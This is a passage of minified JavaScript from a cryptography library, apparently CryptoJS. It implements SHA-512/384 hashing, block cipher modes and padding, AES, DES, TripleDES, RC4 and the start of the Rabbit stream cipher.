xt[j - 2], Y = Q.high, tt = Q.low, et = (Y >>> 19 | tt << 13) ^ (Y << 3 | tt >>> 29) ^ Y >>> 6, rt = (tt >>> 19 | Y << 13) ^ (tt << 3 | Y >>> 29) ^ (tt >>> 6 | Y << 26), it = xt[j - 7], nt = it.high, ot = it.low, st = xt[j - 16], ct = st.high, at = st.low; T = (T = (T = J + nt + ((N = $ + ot) >>> 0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 